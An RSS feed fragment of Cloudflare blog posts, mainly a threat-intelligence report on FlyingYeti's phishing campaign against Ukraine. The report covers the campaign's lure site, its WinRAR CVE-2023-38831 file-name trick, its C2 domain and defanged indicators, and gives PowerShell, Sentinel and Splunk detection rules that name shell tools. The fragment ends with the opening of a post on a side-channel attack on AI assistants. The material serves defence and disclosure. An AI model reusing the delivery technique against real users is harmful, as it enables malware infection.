    <p>Cloudflare proxies millions of websites, and a large portion of these sites are on our free plan. Free plan customers tend to have simpler applications while not having the resources to update and react quickly to security concerns. We therefore decided to turn on the feature by default for sites on our free plan, as the likelihood of causing issues is reduced while also helping keep safe a very large portion of applications using polyfill.io.</p><p>Paid plan customers, on the other hand, have more complex applications and react quicker to security notices. We are confident that most paid customers using polyfill.io and Cloudflare will appreciate the ability to virtually patch the issue with a single click, while controlling when to do so.</p><p>All customers can turn off the feature at any time.</p><p>This isn’t the first time we’ve decided a security problem was so widespread and serious that we’d enable protection for all customers regardless of whether they were a paying customer or not. Back in 2014, we enabled <a href="/shellshock-protection-enabled-for-all-customers">Shellshock protection</a> for everyone. In 2021, when the log4j vulnerability was disclosed <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">we rolled out protection</a> for all customers.</p>
    <div>
      <h2>Do not use polyfill.io</h2>
      <a href="#do-not-use-polyfill-io">
        
      </a>
    </div>
    <p>If you are using Cloudflare, you can remove polyfill.io with a single click on the Cloudflare dashboard by heading over to <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">your zone ⇒ Security ⇒ Settings</a>. If you are a free customer, the rewrite is automatically active. This feature, we hope, will help you quickly patch the issue.</p><p>Nonetheless, you should ultimately search your code repositories for instances of polyfill.io and replace them with an alternative provider, such as Cloudflare’s secure mirror under cdnjs (<a href="https://cdnjs.cloudflare.com/polyfill/">https://cdnjs.cloudflare.com/polyfill/</a>). Website owners who are not using Cloudflare should also perform these steps.</p><p>The underlying bundle links you should use are:</p><p>For minified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js</a>
For unminified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js</a></p><p>Doing this ensures your website is no longer relying on polyfill.io.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Better Internet]]></category>
            <guid isPermaLink="false">3NHy1gOkql57RbBcdjWs5g</guid>
            <dc:creator>Matthew Prince</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Disrupting FlyingYeti's campaign targeting Ukraine]]></title>
            <link>https://blog.cloudflare.com/disrupting-flyingyeti-campaign-targeting-ukraine/</link>
            <pubDate>Thu, 30 May 2024 13:00:38 GMT</pubDate>
            <description><![CDATA[ In April and May 2024, Cloudforce One employed proactive defense measures to successfully prevent Russia-aligned threat actor FlyingYeti from launching their latest phishing campaign targeting Ukraine ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Cloudforce One is publishing the results of our investigation and real-time effort to detect, deny, degrade, disrupt, and delay threat activity by the Russia-aligned threat actor FlyingYeti during their latest phishing campaign targeting Ukraine. At the onset of Russia’s invasion of Ukraine on February 24, 2022, Ukraine introduced a moratorium on evictions and termination of utility services for unpaid debt. The moratorium ended in January 2024, resulting in significant debt liability and increased financial stress for Ukrainian citizens. The FlyingYeti campaign capitalized on anxiety over the potential loss of access to housing and utilities by enticing targets to open malicious files via debt-themed lures. If opened, the files would result in infection with the PowerShell malware known as <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">COOKBOX</a>, allowing FlyingYeti to support follow-on objectives, such as installation of additional payloads and control over the victim’s system.</p><p>Since April 26, 2024, Cloudforce One has taken measures to prevent FlyingYeti from launching their phishing campaign – a campaign involving the use of Cloudflare Workers and GitHub, as well as exploitation of the WinRAR vulnerability <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38831">CVE-2023-38831</a>. Our countermeasures included internal actions, such as detections and code takedowns, as well as external collaboration with third parties to remove the actor’s cloud-hosted malware. Our effectiveness against this actor prolonged their operational timeline from days to weeks. For example, in a single instance, FlyingYeti spent almost eight hours debugging their code as a result of our mitigations. By employing proactive defense measures, we successfully stopped this determined threat actor from achieving their objectives.</p>
    <div>
      <h3>Executive Summary</h3>
      <a href="#executive-summary">
        
      </a>
    </div>
    <ul><li><p>On April 18, 2024, Cloudforce One detected the Russia-aligned threat actor FlyingYeti preparing to launch a phishing espionage campaign targeting individuals in Ukraine.</p></li><li><p>We discovered the actor used similar tactics, techniques, and procedures (TTPs) as those detailed in <a href="https://cert.gov.ua/article/6278620">Ukranian CERT's article on UAC-0149</a>, a threat group that has primarily <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">targeted Ukrainian defense entities with COOKBOX malware since at least the fall of 2023</a>.</p></li><li><p>From mid-April to mid-May, we observed FlyingYeti conduct reconnaissance activity, create lure content for use in their phishing campaign, and develop various iterations of their malware. We assessed that the threat actor intended to launch their campaign in early May, likely following Orthodox Easter.</p></li><li><p>After several weeks of monitoring actor reconnaissance and weaponization activity (<a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">Cyber Kill Chain Stages 1 and 2</a>), we successfully disrupted FlyingYeti’s operation moments after the final COOKBOX payload was built.</p></li><li><p>The payload included an exploit for the WinRAR vulnerability CVE-2023-38831, which FlyingYeti will likely continue to use in their phishing campaigns to infect targets with malware.</p></li><li><p>We offer steps users can take to defend themselves against FlyingYeti phishing operations, and also provide recommendations, detections, and indicators of compromise.</p></li></ul>
    <div>
      <h2>Who is FlyingYeti?</h2>
      <a href="#who-is-flyingyeti">
        
      </a>
    </div>
    <p>FlyingYeti is the <a href="https://www.merriam-webster.com/dictionary/cryptonym">cryptonym</a> given by <a href="/introducing-cloudforce-one-threat-operations-and-threat-research">Cloudforce One</a> to the threat group behind this phishing campaign, which overlaps with UAC-0149 activity tracked by <a href="https://cert.gov.ua/">CERT-UA</a> in <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">February</a> and <a href="https://cert.gov.ua/article/6278620">April</a> 2024. The threat actor uses dynamic DNS (<a href="https://www.cloudflare.com/learning/dns/glossary/dynamic-dns/">DDNS</a>) for their infrastructure and leverages cloud-based platforms for hosting malicious content and for malware command and control (C2). Our investigation of FlyingYeti TTPs suggests this is likely a Russia-aligned threat group. The actor appears to primarily focus on targeting Ukrainian military entities. Additionally, we observed Russian-language comments in FlyingYeti’s code, and the actor’s operational hours falling within the UTC+3 time zone.</p>
    <div>
      <h2>Campaign background</h2>
      <a href="#campaign-background">
        
      </a>
    </div>
    <p>In the days leading up to the start of the campaign, Cloudforce One observed FlyingYeti conducting reconnaissance on payment processes for Ukrainian communal housing and utility services:</p><ul><li><p>April 22, 2024 – research into changes made in 2016 that introduced the use of QR codes in payment notices</p></li><li><p>April 22, 2024 – research on current developments concerning housing and utility debt in Ukraine</p></li><li><p>April 25, 2024 – research on the legal basis for restructuring housing debt in Ukraine as well as debt involving utilities, such as gas and electricity</p></li></ul><p>Cloudforce One judges that the observed reconnaissance is likely due to the Ukrainian government’s payment moratorium introduced at the start of the full-fledged invasion in February 2022. Under this moratorium, outstanding debt would not lead to evictions or termination of provision of utility services. However, on January 9, 2024, the <a href="https://en.interfax.com.ua/news/economic/959388.html">government lifted this ban</a>, resulting in increased pressure on Ukrainian citizens with outstanding debt. FlyingYeti sought to capitalize on that pressure, leveraging debt restructuring and payment-related lures in an attempt to increase their chances of successfully targeting Ukrainian individuals.</p>
    <div>
      <h2>Analysis of the Komunalka-themed phishing site</h2>
      <a href="#analysis-of-the-komunalka-themed-phishing-site">
        
      </a>
    </div>
    <p>The disrupted phishing campaign would have directed FlyingYeti targets to an actor-controlled GitHub page at hxxps[:]//komunalka[.]github[.]io, which is a spoofed version of the Kyiv Komunalka communal housing site <a href="https://www.komunalka.ua">https://www.komunalka.ua</a>. Komunalka functions as a payment processor for residents in the Kyiv region and allows for payment of utilities, such as gas, electricity, telephone, and Internet. Additionally, users can pay other fees and fines, and even donate to Ukraine’s defense forces.</p><p>Based on past FlyingYeti operations, targets may be directed to the actor’s Github page via a link in a phishing email or an encrypted Signal message. If a target accesses the spoofed Komunalka platform at hxxps[:]//komunalka[.]github[.]io, the page displays a large green button with a prompt to download the document “Рахунок.docx” (“Invoice.docx”), as shown in Figure 1. This button masquerades as a link to an overdue payment invoice but actually results in the download of the malicious archive “Заборгованість по ЖКП.rar” (“Debt for housing and utility services.rar”).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/22Rnm7YOnwnJocG98RMFDa/def10039081f7e9c6df15980a8b855ac/image4-5.png" />
            
            </figure><p>Figure 1: Prompt to download malicious archive “Заборгованість по ЖКП.rar”</p><p>A series of steps must take place for the download to successfully occur:</p><ul><li><p>The target clicks the green button on the actor’s GitHub page hxxps[:]//komunalka.github[.]io</p></li><li><p>The target’s device sends an HTTP POST request to the Cloudflare Worker worker-polished-union-f396[.]vqu89698[.]workers[.]dev with the HTTP request body set to “user=Iahhdr”</p></li><li><p>The Cloudflare Worker processes the request and evaluates the HTTP request body</p></li><li><p>If the request conditions are met, the Worker fetches the RAR file from hxxps[:]//raw[.]githubusercontent[.]com/kudoc8989/project/main/Заборгованість по ЖКП.rar, which is then downloaded on the target’s device</p></li></ul><p>Cloudforce One identified the infrastructure responsible for facilitating the download of the malicious RAR file and remediated the actor-associated Worker, preventing FlyingYeti from delivering its malicious tooling. In an effort to circumvent Cloudforce One's mitigation measures, FlyingYeti later changed their malware delivery method. Instead of the Workers domain fetching the malicious RAR file, it was loaded directly from GitHub.</p>
    <div>
      <h2>Analysis of the malicious RAR file</h2>
      <a href="#analysis-of-the-malicious-rar-file">
        
      </a>
    </div>
    <p>During remediation, Cloudforce One recovered the RAR file “Заборгованість по ЖКП.rar” and performed analysis of the malicious payload. The downloaded RAR archive contains multiple files, including a file with a name that contains the unicode character “U+201F”. This character appears as whitespace on Windows devices and can be used to “hide” file extensions by adding excessive whitespace between the filename and the file extension. As highlighted in blue in Figure 2, this cleverly named file within the RAR archive appears to be a PDF document but is actually a malicious CMD file (“Рахунок на оплату.pdf[unicode character U+201F].cmd”).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/55Vjmg9VLEnAFv3RZQoZ2l/866016a2489f2a6c780c9f3971dd28ca/image2-11.png" />
            
            </figure><p>Figure 2: Files contained in the malicious RAR archive “Заборгованість по ЖКП.rar” (“Housing Debt.rar”)</p><p>FlyingYeti included a benign PDF in the archive with the same name as the CMD file but without the unicode character, “Рахунок на оплату.pdf” (“Invoice for payment.pdf”). Additionally, the directory name for the archive once decompressed also contained the name “Рахунок на оплату.pdf”. This overlap in names of the benign PDF and the directory allows the actor to exploit the WinRAR vulnerability <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-38831">CVE-2023-38831</a>. More specifically, when an archive includes a benign file with the same name as the directory, the entire contents of the directory are opened by the WinRAR application, resulting in the execution of the malicious CMD. In other words, when the target believes they are opening the benign PDF “Рахунок на оплату.pdf”, the malicious CMD file is executed.</p><p>The CMD file contains the FlyingYeti PowerShell malware known as <a href="https://cert.gov.ua/article/6277849?ref=news.risky.biz">COOKBOX</a>. The malware is designed to persist on a host, serving as a foothold in the infected device. Once installed, this variant of COOKBOX will make requests to the DDNS domain postdock[.]serveftp[.]com for C2, awaiting PowerShell <a href="https://learn.microsoft.com/en-us/powershell/scripting/powershell-commands?view=powershell-7.4">cmdlets</a> that the malware will subsequently run.</p><p>Alongside COOKBOX, several decoy documents are opened, which contain hidden tracking links using the <a href="https://canarytokens.com/generate">Canary Tokens</a> service. The first document, shown in Figure 3 below, poses as an agreement under which debt for housing and utility services will be restructured.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/20vFV9kNTMmwxFXvpQoJTc/12542fb7a7d2108d49607f2a23fc7575/image5-10.png" />
            
            </figure><p>Figure 3: Decoy document Реструктуризація боргу за житлово комунальні послуги.docx</p><p>The second document (Figure 4) is a user agreement outlining the terms and conditions for the usage of the payment platform komunalka[.]ua.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1VHSTwqfrXWXvoryg8lOcE/68eb096bc82f18c7edcb4c88c1ed6d2c/image3-6.png" />
            
            </figure><p>Figure 4: Decoy document Угода користувача.docx <i>(User Agreement.docx)</i></p><p>The use of relevant decoy documents as part of the phishing and delivery activity are likely an effort by FlyingYeti operators to increase the appearance of legitimacy of their activities.</p><p>The phishing theme we identified in this campaign is likely one of many themes leveraged by this actor in a larger operation to target Ukrainian entities, in particular their defense forces. In fact, the threat activity we detailed in this blog uses many of the same techniques outlined in a <a href="https://cert.gov.ua/article/6278620">recent FlyingYeti campaign</a> disclosed by CERT-UA in mid-April 2024, where the actor leveraged United Nations-themed lures involving Peace Support Operations to target Ukraine’s military. Due to Cloudforce One’s defensive actions covered in the next section, this latest FlyingYeti campaign was prevented as of the time of publication.</p>
    <div>
      <h2>Mitigating FlyingYeti activity</h2>
      <a href="#mitigating-flyingyeti-activity">
        
      </a>
    </div>
    <p>Cloudforce One mitigated FlyingYeti’s campaign through a series of actions. Each action was taken to increase the actor’s cost of continuing their operations. When assessing which action to take and why, we carefully weighed the pros and cons in order to provide an effective active defense strategy against this actor. Our general goal was to increase the amount of time the threat actor spent trying to develop and weaponize their campaign.</p><p>We were able to successfully extend the timeline of the threat actor’s operations from hours to weeks. At each interdiction point, we assessed the impact of our mitigation to ensure the actor would spend more time attempting to launch their campaign. Our mitigation measures disrupted the actor’s activity, in one instance resulting in eight additional hours spent on debugging code.</p><p>Due to our proactive defense efforts, FlyingYeti operators adapted their tactics multiple times in their attempts to launch the campaign. The actor originally intended to have the Cloudflare Worker fetch the malicious RAR file from GitHub. After Cloudforce One interdiction of the Worker, the actor attempted to create additional Workers via a new account. In response, we disabled all Workers, leading the actor to load the RAR file directly from GitHub. Cloudforce One notified GitHub, resulting in the takedown of the RAR file, the GitHub project, and suspension of the account used to host the RAR file. In return, FlyingYeti began testing the option to host the RAR file on the file sharing sites <a href="https://pixeldrain.com/">pixeldrain</a> and <a href="https://www.filemail.com/">Filemail</a>, where we observed the actor alternating the link on the Komunalka phishing site between the following:</p><ul><li><p>hxxps://pixeldrain[.]com/api/file/ZAJxwFFX?download=one</p></li><li><p>hxxps://1014.filemail[.]com/api/file/get?filekey=e_8S1HEnM5Rzhy_jpN6nL-GF4UAP533VrXzgXjxH1GzbVQZvmpFzrFA&amp;pk_vid=a3d82455433c8ad11715865826cf18f6</p></li></ul><p>We notified GitHub of the actor’s evolving tactics, and in response GitHub removed the Komunalka phishing site. After analyzing the files hosted on pixeldrain and Filemail, we determined the actor uploaded dummy payloads, likely to monitor access to their phishing infrastructure (FileMail logs IP addresses, and both file hosting sites provide view and download counts). At the time of publication, we did not observe FlyingYeti upload the malicious RAR file to either file hosting site, nor did we identify the use of alternative phishing or malware delivery methods.</p><p>A timeline of FlyingYeti’s activity and our corresponding mitigations can be found below.</p>
    <div>
      <h3>Event timeline</h3>
      <a href="#event-timeline">
        
      </a>
    </div>
    
<div><table><colgroup>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Date</span></th>
    <th><span>Event Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>2024-04-18 12:18</span></td>
    <td><span>Threat Actor (TA) creates a Worker to handle requests from a phishing site</span></td>
  </tr>
  <tr>
    <td><span>2024-04-18 14:16</span></td>
    <td><span>TA creates phishing site komunalka[.]github[.]io on GitHub</span></td>
  </tr>
  <tr>
    <td><span>2024-04-25 12:25</span></td>
    <td><span>TA creates a GitHub repo to host a RAR file</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 07:46</span></td>
    <td><span>TA updates the first Worker to handle requests from users visiting komunalka[.]github[.]io</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 08:24</span></td>
    <td><span>TA uploads a benign test RAR to the GitHub repo</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 13:38</span></td>
    <td><span>Cloudforce One identifies a Worker receiving requests from users visiting komunalka[.]github[.]io, observes its use as a phishing page</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 13:46</span></td>
    <td><span>Cloudforce One identifies that the Worker fetches a RAR file from GitHub (the malicious RAR payload is not yet hosted on the site)</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 19:22</span></td>
    <td><span>Cloudforce One creates a detection to identify the Worker that fetches the RAR</span></td>
  </tr>
  <tr>
    <td><span>2024-04-26 21:13</span></td>
    <td><span>Cloudforce One deploys real-time monitoring of the RAR file on GitHub</span></td>
  </tr>
  <tr>
    <td><span>2024-05-02 06:35</span></td>
    <td><span>TA deploys a weaponized RAR (CVE-2023-38831) to GitHub with their COOKBOX malware packaged in the archive</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 10:03</span></td>
    <td><span>TA attempts to update the Worker with link to weaponized RAR, the Worker is immediately blocked</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 10:38</span></td>
    <td><span>TA creates a new Worker, the Worker is immediately blocked</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 11:04</span></td>
    <td><span>TA creates a new account (#2) on Cloudflare</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 11:06</span></td>
    <td><span>TA creates a new Worker on account #2 (blocked)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 11:50</span></td>
    <td><span>TA creates a new Worker on account #2 (blocked)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 12:22</span></td>
    <td><span>TA creates a new modified Worker on account #2</span></td>
  </tr>
  <tr>
    <td><span>2024-05-06 16:05</span></td>
    <td><span>Cloudforce One disables the running Worker on account #2</span></td>
  </tr>
  <tr>
    <td><span>2024-05-07 22:16</span></td>
    <td><span>TA notices the Worker is blocked, ceases all operations</span></td>
  </tr>
  <tr>
    <td><span>2024-05-07 22:18</span></td>
    <td><span>TA deletes original Worker first created to fetch the RAR file from the GitHub phishing page</span></td>
  </tr>
  <tr>
    <td><span>2024-05-09 19:28</span></td>
    <td><span>Cloudforce One adds phishing page komunalka[.]github[.]io to real-time monitoring</span></td>
  </tr>
  <tr>
    <td><span>2024-05-13 07:36</span></td>
    <td><span>TA updates the github.io phishing site to point directly to the GitHub RAR link</span></td>
  </tr>
  <tr>
    <td><span>2024-05-13 17:47</span></td>
    <td><span>Cloudforce One adds COOKBOX C2 postdock[.]serveftp[.]com to real-time monitoring for DNS resolution</span></td>
  </tr>
  <tr>
    <td><span>2024-05-14 00:04</span></td>
    <td><span>Cloudforce One notifies GitHub to take down the RAR file</span></td>
  </tr>
  <tr>
    <td><span>2024-05-15 09:00</span></td>
    <td><span>GitHub user, project, and link for RAR are no longer accessible</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 08:23</span></td>
    <td><span>TA updates Komunalka phishing site on github.io to link to pixeldrain URL for dummy payload (pixeldrain only tracks view and download counts)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 08:25</span></td>
    <td><span>TA updates Komunalka phishing site to link to FileMail URL for dummy payload (FileMail tracks not only view and download counts, but also IP addresses)</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 12:21</span></td>
    <td><span>Cloudforce One downloads PixelDrain document to evaluate payload</span></td>
  </tr>
  <tr>
    <td><span>2024-05-21 12:47</span></td>
    <td><span>Cloudforce One downloads FileMail document to evaluate payload</span></td>
  </tr>
  <tr>
    <td><span>2024-05-29 23:59</span></td>
    <td><span>GitHub takes down Komunalka phishing site</span></td>
  </tr>
  <tr>
    <td><span>2024-05-30 13:00</span></td>
    <td><span>Cloudforce One publishes the results of this investigation</span></td>
  </tr>
</tbody></table></div>
    <div>
      <h2>Coordinating our FlyingYeti response</h2>
      <a href="#coordinating-our-flyingyeti-response">
        
      </a>
    </div>
    <p>Cloudforce One leveraged industry relationships to provide advanced warning and to mitigate the actor’s activity. To further protect the intended targets from this phishing threat, Cloudforce One notified and collaborated closely with GitHub’s Threat Intelligence and Trust and Safety Teams. We also notified CERT-UA and Cloudflare industry partners such as CrowdStrike, Mandiant/Google Threat Intelligence, and Microsoft Threat Intelligence.</p>
    <div>
      <h3>Hunting FlyingYeti operations</h3>
      <a href="#hunting-flyingyeti-operations">
        
      </a>
    </div>
    <p>There are several ways to hunt FlyingYeti in your environment. These include using PowerShell to hunt for WinRAR files, deploying Microsoft Sentinel analytics rules, and running Splunk scripts as detailed below. Note that these detections may identify activity related to this threat, but may also trigger unrelated threat activity.</p>
    <div>
      <h3>PowerShell hunting</h3>
      <a href="#powershell-hunting">
        
      </a>
    </div>
    <p>Consider running a PowerShell script such as <a href="https://github.com/IR-HuntGuardians/CVE-2023-38831-HUNT/blob/main/hunt-script.ps1">this one</a> in your environment to identify exploitation of CVE-2023-38831. This script will interrogate WinRAR files for evidence of the exploit.</p>
            <pre><code>CVE-2023-38831
Description:winrar exploit detection 
open suspios (.tar / .zip / .rar) and run this script to check it 

function winrar-exploit-detect(){
$targetExtensions = @(".cmd" , ".ps1" , ".bat")
$tempDir = [System.Environment]::GetEnvironmentVariable("TEMP")
$dirsToCheck = Get-ChildItem -Path $tempDir -Directory -Filter "Rar*"
foreach ($dir in $dirsToCheck) {
    $files = Get-ChildItem -Path $dir.FullName -File
    foreach ($file in $files) {
        $fileName = $file.Name
        $fileExtension = [System.IO.Path]::GetExtension($fileName)
        if ($targetExtensions -contains $fileExtension) {
            $fileWithoutExtension = [System.IO.Path]::GetFileNameWithoutExtension($fileName); $filename.TrimEnd() -replace '\.$'
            $cmdFileName = "$fileWithoutExtension"
            $secondFile = Join-Path -Path $dir.FullName -ChildPath $cmdFileName
            
            if (Test-Path $secondFile -PathType Leaf) {
                Write-Host "[!] Suspicious pair detected "
                Write-Host "[*]  Original File:$($secondFile)" -ForegroundColor Green 
                Write-Host "[*] Suspicious File:$($file.FullName)" -ForegroundColor Red

                # Read and display the content of the command file
                $cmdFileContent = Get-Content -Path $($file.FullName)
                Write-Host "[+] Command File Content:$cmdFileContent"
            }
        }
    }
}
}
winrar-exploit-detect</code></pre>
            
    <div>
      <h3></h3>
      <a href="#">
        
      </a>
    </div>
    <p>Microsoft Sentinel</p><p>In Microsoft Sentinel, consider deploying the rule provided below, which identifies WinRAR execution via cmd.exe. Results generated by this rule may be indicative of attack activity on the endpoint and should be analyzed.</p>
            <pre><code>DeviceProcessEvents
| where InitiatingProcessParentFileName has @"winrar.exe"
| where InitiatingProcessFileName has @"cmd.exe"
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName
| sort by Timestamp desc</code></pre>
            
    <div>
      <h3></h3>
      <a href="#">
        
      </a>
    </div>
    <p>Splunk</p><p>Consider using <a href="https://research.splunk.com/endpoint/d2f36034-37fa-4bd4-8801-26807c15540f/">this script</a> in your Splunk environment to look for WinRAR CVE-2023-38831 execution on your Microsoft endpoints. Results generated by this script may be indicative of attack activity on the endpoint and should be analyzed.</p>
            <pre><code>| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=winrar.exe `windows_shells` OR Processes.process_name IN ("certutil.exe","mshta.exe","bitsadmin.exe") by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id 
| `drop_dm_object_name(Processes)` 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `winrar_spawning_shell_application_filter`</code></pre>
            
    <div>
      <h2>Cloudflare product detections</h2>
      <a href="#cloudflare-product-detections">
        
      </a>
    </div>
    
    <div>
      <h3>Cloudflare Email Security</h3>
      <a href="#cloudflare-email-security">
        
      </a>
    </div>
    <p>Cloudflare Email Security (CES) customers can identify FlyingYeti threat activity with the following detections.</p><ul><li><p>CVE-2023-38831</p></li><li><p>FLYINGYETI.COOKBOX</p></li><li><p>FLYINGYETI.COOKBOX.Launcher</p></li><li><p>FLYINGYETI.Rar</p></li></ul>
    <div>
      <h2>Recommendations</h2>
      <a href="#recommendations">
        
      </a>
    </div>
    <p>Cloudflare recommends taking the following steps to mitigate this type of activity:</p><ul><li><p>Implement Zero Trust architecture foundations:    </p></li><li><p>Deploy Cloud Email Security to ensure that email services are protected against phishing, BEC and other threats</p></li><li><p>Leverage browser isolation to separate messaging applications like LinkedIn, email, and Signal from your main network</p></li><li><p>Scan, monitor and/or enforce controls on specific or sensitive data moving through your network environment with data loss prevention policies</p></li><li><p>Ensure your systems have the latest WinRAR and Microsoft security updates installed</p></li><li><p>Consider preventing WinRAR files from entering your environment, both at your Cloud Email Security solution and your Internet Traffic Gateway</p></li><li><p>Run an Endpoint Detection and Response (EDR) tool such as CrowdStrike or Microsoft Defender for Endpoint to get visibility into binary execution on hosts</p></li><li><p>Search your environment for the FlyingYeti indicators of compromise (IOCs) shown below to identify potential actor activity within your network.</p></li></ul><p>If you’re looking to uncover additional Threat Intelligence insights for your organization or need bespoke Threat Intelligence information for an incident, consider engaging with Cloudforce One by contacting your Customer Success manager or filling out <a href="https://www.cloudflare.com/zero-trust/lp/cloudforce-one-threat-intel-subscription/">this form</a>.</p>
    <div>
      <h2>Indicators of Compromise</h2>
      <a href="#indicators-of-compromise">
        
      </a>
    </div>
    
<div><table><colgroup>
<col></col>
<col></col>
</colgroup>
<thead>
  <tr>
    <th><span>Domain / URL</span></th>
    <th><span>Description</span></th>
  </tr></thead>
<tbody>
  <tr>
    <td><span>komunalka[.]github[.]io</span></td>
    <td><span>Phishing page</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//github[.]com/komunalka/komunalka[.]github[.]io</span></td>
    <td><span>Phishing page</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//worker-polished-union-f396[.]vqu89698[.]workers[.]dev</span></td>
    <td><span>Worker that fetches malicious RAR file</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//raw[.]githubusercontent[.]com/kudoc8989/project/main/Заборгованість по ЖКП.rar</span></td>
    <td><span>Delivery of malicious RAR file</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//1014[.]filemail[.]com/api/file/get?filekey=e_8S1HEnM5Rzhy_jpN6nL-GF4UAP533VrXzgXjxH1GzbVQZvmpFzrFA&amp;pk_vid=a3d82455433c8ad11715865826cf18f6</span></td>
    <td><span>Dummy payload</span></td>
  </tr>
  <tr>
    <td><span>hxxps[:]//pixeldrain[.]com/api/file/ZAJxwFFX?download=</span></td>
    <td><span>Dummy payload</span></td>
  </tr>
  <tr>
    <td><span>hxxp[:]//canarytokens[.]com/stuff/tags/ni1cknk2yq3xfcw2al3efs37m/payments.js</span></td>
    <td><span>Tracking link</span></td>
  </tr>
  <tr>
    <td><span>hxxp[:]//canarytokens[.]com/stuff/terms/images/k22r2dnjrvjsme8680ojf5ccs/index.html</span></td>
    <td><span>Tracking link</span></td>
  </tr>
  <tr>
    <td><span>postdock[.]serveftp[.]com</span></td>
    <td><span>COOKBOX C2</span></td>
  </tr>
</tbody></table></div> ]]></content:encoded>
            <category><![CDATA[Cloud Email Security]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Exploit]]></category>
            <category><![CDATA[GitHub]]></category>
            <category><![CDATA[Intrusion Detection]]></category>
            <category><![CDATA[Malware]]></category>
            <category><![CDATA[Microsoft]]></category>
            <category><![CDATA[Phishing]]></category>
            <category><![CDATA[Remote Browser Isolation]]></category>
            <category><![CDATA[Russia]]></category>
            <category><![CDATA[Serverless]]></category>
            <category><![CDATA[Threat Data]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <category><![CDATA[Threat Operations]]></category>
            <category><![CDATA[Ukraine]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">5JO10nXN3tLVG2C1EttkiH</guid>
            <dc:creator>Cloudforce One</dc:creator>
        </item>
        <item>
            <title><![CDATA[Mitigating a token-length side-channel attack in our AI products]]></title>
            <link>https://blog.cloudflare.com/ai-side-channel-attack-mitigated/</link>
            <pubDate>Thu, 14 Mar 2024 12:30:30 GMT</pubDate>
            <description><![CDATA[ The Workers AI and AI Gateway team recently collaborated closely with security researchers at Ben Gurion University regarding a report submitted through our Public Bug Bounty program. Through this process, we discovered and fully patched a vulnerability affecting all LLM providers. Here’s the story ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5do9zHtgVCZfCILMjoXAmV/0f7e2e3b4bdb298d7fd8c0a97d3b2a19/Mitigating-a-Token-Length-Side-Channel-attack-in-our-AI-products.png" />
            
            </figure><p>Since the discovery of <a href="https://en.wikipedia.org/wiki/CRIME">CRIME</a>, <a href="https://breachattack.com/">BREACH</a>, <a href="https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-wp.pdf">TIME</a>, <a href="https://en.wikipedia.org/wiki/Lucky_Thirteen_attack">LUCKY-13</a> etc., length-based side-channel attacks have been considered practical. Even though packets were encrypted, attackers were able to infer information about the underlying plaintext by analyzing metadata like the packet length or timing information.</p><p>Cloudflare was recently contacted by a group of researchers at <a href="https://cris.bgu.ac.il/en/">Ben Gurion University</a> who wrote a paper titled “<a href="https://cdn.arstechnica.net/wp-content/uploads/2024/03/LLM-Side-Channel.pdf">What Was Your Prompt? A Remote Keylogging Attack on AI Assistants</a>” that describes “a novel side-channel that can be used to read encrypted responses from AI Assistants over the web”.</p><p>The Workers AI and AI Gateway team collaborated closely with these security researchers through our <a href="/cloudflare-bug-bounty-program/">Public Bug Bounty program</a>, discovering and fully patching a 